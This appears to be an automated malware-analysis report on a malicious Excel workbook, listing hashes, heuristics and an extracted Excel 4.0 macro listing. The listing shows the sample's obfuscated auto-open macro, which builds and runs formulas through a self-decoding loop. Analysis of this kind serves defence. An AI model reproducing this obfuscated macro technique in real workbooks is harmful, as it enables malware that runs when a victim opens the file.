Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 61888a21f2ac049d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:12 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 9f96c52c00ed2717cf1af8458316d49a SHA-1: 199a446c76eccf410c6fbe343e466317aee620ab SHA-256: 61888a21f2ac049d364472d5b096679b5c229159e6156ab0265e52e54552e892
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6620 bytes
SHA-256: 937d6432914da1a8b79428bf811a68c0ed9e2662441b1d4e9e652bf23dc1aea2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LrsiEkDLyE
' 0018     24 LABEL : Cell Value, String Constant - AAoxIgIhi len=0 
' 0018     21 LABEL : Cell Value, String Constant - AmYsVz len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D179 
' 0018     26 LABEL : Cell Value, String Constant - BjoqpdRRNeE len=0 
' 0018     21 LABEL : Cell Value, String Constant - DGoRph len=0 
' 0018     24 LABEL : Cell Value, String Constant - DMhjxyczX len=0 
' 0018     20 LABEL : Cell Value, String Constant - dzwPL len=0 
' 0018     21 LABEL : Cell Value, String Constant - eBVLkb len=0 
' 0018     24 LABEL : Cell Value, String Constant - EqskxvJjC len=0 
' 0018     26 LABEL : Cell Value, String Constant - jbkvloLztvF len=0 
' 0018     25 LABEL : Cell Value, String Constant - KGAQfQhzxE len=0 
' 0018     26 LABEL : Cell Value, String Constant - kvvjDvwITtj len=0 
' 0018     22 LABEL : Cell Value, String Constant - LWAzLOn len=0 
' 0018     25 LABEL : Cell Value, String Constant - MCyZnwAofp len=0 
' 0018     21 LABEL : Cell Value, String Constant - MGpqBr len=0 
' 0018     21 LABEL : Cell Value, String Constant - mRKhMX len=0 
' 0018     22 LABEL : Cell Value, String Constant - NjUYfEV len=0 
' 0018     27 LABEL : Cell Value, String Constant - oiMDjwJerqyW len=0 
' 0018     27 LABEL : Cell Value, String Constant - SJXbNwLfyctd len=0 
' 0018     24 LABEL : Cell Value, String Constant - VVELKvneV len=0 
' 0018     25 LABEL : Cell Value, String Constant - xjuwrDSkOX len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LrsiEkDLyE,D88,"SET.NAME("oiMDjwJerqyW",VALUE("0"))",""
'  LrsiEkDLyE,D92,"SET.NAME("MCyZnwAofp",oiMDjwJerqyW)",""
'  LrsiEkDLyE,D96,"SET.NAME("KGAQfQhzxE",oiMDjwJerqyW)",""
'  LrsiEkDLyE,D101,"SET.NAME("VVELKvneV",COUNTA(MGpqBr))",""
'  LrsiEkDLyE,D106,"SET.NAME("xjuwrDSkOX",COUNTA(kvvjDvwITtj))",""
'  LrsiEkDLyE,D108,[],""
'  LrsiEkDLyE,D112,"SET.NAME("dzwPL","")",""
'  LrsiEkDLyE,D114,"MCyZnwAofp",""
'  LrsiEkDLyE,D117,"SET.NAME("BjoqpdRRNeE",HLOOKUP("*",MGpqBr,MCyZnwAofp,FALSE))",""
'  LrsiEkDLyE,D121,"NjUYfEV",""
'  LrsiEkDLyE,D125,"SET.NAME("EqskxvJjC",oiMDjwJerqyW)",""
'  LrsiEkDLyE,D130,[],""
'  LrsiEkDLyE,D132,"EqskxvJjC",""
'  LrsiEkDLyE,D137,"DMhjxyczX",""
'  LrsiEkDLyE,D141,"DGoRph",""
'  LrsiEkDLyE,D144,"AmYsVz",""
'  LrsiEkDLyE,D146,"SET.NAME("AAoxIgIhi",VALUE(HLOOKUP("*",kvvjDvwITtj,AmYsVz,FALSE)))",""
'  LrsiEkDLyE,D148,"SJXbNwLfyctd",""
'  LrsiEkDLyE,D152,"dzwPL",""
'  LrsiEkDLyE,D155,"KGAQfQhzxE",""
'  LrsiEkDLyE,D157,NEXT(),""
'  LrsiEkDLyE,D159,"eBVLkb",""
'  LrsiEkDLyE,D164,"SET.NAME("f",INT(T(FORMULA(T(dzwPL)&"",""&T(eBVLkb)))))",""
'  LrsiEkDLyE,D168,"mRKhMX",""
'  LrsiEkDLyE,D172,NEXT(),""
'  LrsiEkDLyE,D177,RETURN(),""
'  LrsiEkDLyE,D203,"SET.NAME("LWAzLOn",D88)",""
'  LrsiEkDLyE,D205,"MGpqBr",""
'  LrsiEkDLyE,D210,"SET.NAME("kvvjDvwITtj",R51C12)",""
'  LrsiEkDLyE,D214,"SET.NAME("mRKhMX",224)",""
'  LrsiEkDLyE,D219,"SET.NAME("jbkvloLztvF",4)",""
'  LrsiEkDLyE,D223,LWAzLOn(),""
'  LrsiEkDLyE,D224,HALT(),""

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